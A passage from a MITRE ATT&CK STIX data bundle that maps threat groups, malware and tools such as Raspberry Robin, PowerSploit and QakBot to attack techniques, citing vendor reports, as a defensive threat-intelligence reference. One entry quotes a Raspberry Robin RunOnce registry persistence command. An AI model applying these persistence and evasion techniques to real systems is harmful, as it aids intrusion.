TrustedSec OOB Communications)","relationship_type":"mitigates","source_ref":"course-of-action--80a0e940-f683-4fbd-ac00-e9f935f2f808","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e202038-196d-41c7-8fdf-27b4fcf88830","type":"relationship","created":"2020-03-19T20:18:45.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2020-03-19T20:18:45.782Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit unquoted path vulnerabilities.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e2daf37-1d3d-4b24-ab46-dfc894f9ef96","type":"relationship","created":"2020-05-26T17:14:42.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2020-05-26T17:14:42.986Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has used search order hijacking to run the loader Vcrodat.(Citation: Symantec Whitefly March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e2e3a71-51b6-4779-a376-a9cc2750b5da","type":"relationship","created":"2021-08-19T19:14:15.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-08-19T19:14:15.481Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can decrypt its payload via a XOR key.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e367a09-1d94-4ea4-984c-a592b769fffa","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:45:45.293Z","description":"[WinMM](https://attack.mitre.org/software/S0059) collects the system name, OS version including service pack, and system install date and sends the information to the C2 server.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--22addc7b-b39f-483d-979a-1b35147da5de","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e3dd466-e330-4d59-9c23-59f1f697d60d","created":"2024-09-06T22:12:18.885Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:12:18.885Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has compressed collected data prior to exfiltration.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e418dd3-d6dc-4d02-a555-2b3a13936dc3","type":"relationship","created":"2020-05-26T18:03:17.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}],"modified":"2020-06-10T21:56:15.884Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has injected a malicious DLL into the Windows Media Player process (wmplayer.exe).(Citation: Medium Metamorfo Apr 2020)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e443cd2-b77f-4bb9-8bbd-82e11ab389f2","created":"2024-05-17T13:45:29.709Z","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:45:29.709Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) will use a Registry key to achieve persistence through reboot, setting a RunOnce key such as: HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\n{random value name} = “rundll32 shell32 ShellExec_RunDLLA REGSVR /u /s “{dropped copy path and file name}””\n.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e44b66a-0f81-4f60-94aa-c450556bc243","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.614Z","description":"[ChChes](https://attack.mitre.org/software/S0144) establishes persistence by adding a Registry Run key.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e45dc12-f493-42ea-829e-011ba786bef1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2019-07-14T21:15:55.488Z","description":"(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e4d9390-d541-4e50-9b9c-1eee43d7cd9c","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for an attempt by a user to gain access to a network or computing resource, often by providing credentials that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e5039ef-913f-4808-9685-32f64f4dbf49","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"}],"modified":"2020-03-30T18:29:08.461Z","description":"[Wingbird](https://attack.mitre.org/software/S0176) deletes its payload along with the payload's parent process after it finishes copying files.(Citation: Microsoft SIR Vol 21)","relationship_type":"uses","source_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e50e37b-29fd-48a7-8692-9f928ef9d36f","type":"relationship","created":"2021-09-07T15:24:47.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:10.025Z","description":"[Peppy](https://attack.mitre.org/software/S0643) can use HTTP to communicate with C2.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e532de4-b002-4c2d-a37c-6d535ff090fa","type":"relationship","created":"2019-09-13T13:17:26.325Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}],"modified":"2020-11-20T20:11:15.378Z","description":"The different components of [Machete](https://attack.mitre.org/software/S0409) are executed by Windows Task Scheduler.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e53dad4-17cc-4fe6-a3b9-d622075d78f7","created":"2020-11-13T20:31:37.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Grandoreiro April 2020","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:10:21.982Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can modify the Registry to store its configuration at `HKCU\\Software\\` under frequently changing names including %USERNAME% and ToolTech-RM.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e55a09d-0784-4a74-bd3a-6beca63adcce","type":"relationship","created":"2021-05-04T15:59:21.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-06-02T20:40:34.124Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) has used image files to hide its loader component.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e661579-5e24-486f-9c8e-624fb18b0b85","type":"relationship","created":"2020-07-17T15:48:51.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.102Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can discover active sessions for a targeted system.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e69a835-6443-455e-8ff0-775bb8c823f1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-18T19:59:42.025Z","description":"[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on local user accounts from the victim.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--199463de-d9be-46d6-bb41-07234c1dd5a6","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2e6e8722-d09d-402e-9ea8-ccf8412339d0","created":"2019-10-10T22:00:27.892Z","x_mitre_version":"1.0","external_references":[{"source_name":"FireEye APT19","url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT19](https://attack.mitre.org/groups/G0073) used -W Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: FireEye APT19)","modified":"2022-04-19T20:58:31.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.517Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as netsh advfirewall firewall to discover local firewall settings.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-19T23:56:41.619Z","description":"[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated many sources such as WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e82ef21-9fb2-421e-bd96-73599089b448","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2020-03-30T02:00:38.186Z","description":"[CopyKittens](https://attack.mitre.org/groups/G0052) uses ZPP, a .NET console program, to compress files with ZIP.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e83c5c4-76f3-46a3-980f-0063069671cf","type":"relationship","created":"2019-01-30T16:39:54.531Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2020-03-20T18:11:42.227Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) can download and execute additional payloads.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2e87ee5b-2cf9-427f-b8c7-363e37daed88","created":"2022-04-07T17:41:38.384Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can collect data from a compromised host.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T17:41:38.384Z","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2e8b176a-b8a8-4bd0-8542-97ff009c673c","created":"2022-06-09T19:02:12.045Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has been obfuscated to help avoid detection.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:02:12.045Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e8e6362-ce7e-4fd5-8c9b-8b85b6f35a58","type":"relationship","created":"2021-08-24T14:29:21.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-08-24T14:29:21.644Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) has the ability to modify the Registry on compromised hosts using RegDeleteValueA and RegCreateKeyExA.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e9d5640-a88d-4812-b2dc-a94621a95959","type":"relationship","created":"2021-01-25T13:58:25.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}],"modified":"2021-01-25T13:58:25.265Z","description":"[Dtrack](https://attack.mitre.org/software/S0567)’s RAT makes a persistent target file with auto execution on the host start.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e9e3384-b624-46aa-9a15-eff8eae2b6e1","created":"2023-03-26T19:46:47.991Z","revoked":false,"external_references":[{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Red Canary Qbot","description":"Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.","url":"https://redcanary.com/threat-detection-report/threats/qbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:46:47.991Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can store its configuration information in a randomly named subkey under HKCU\\Software\\Microsoft.(Citation: Red Canary Qbot)(Citation: Group IB Ransomware September 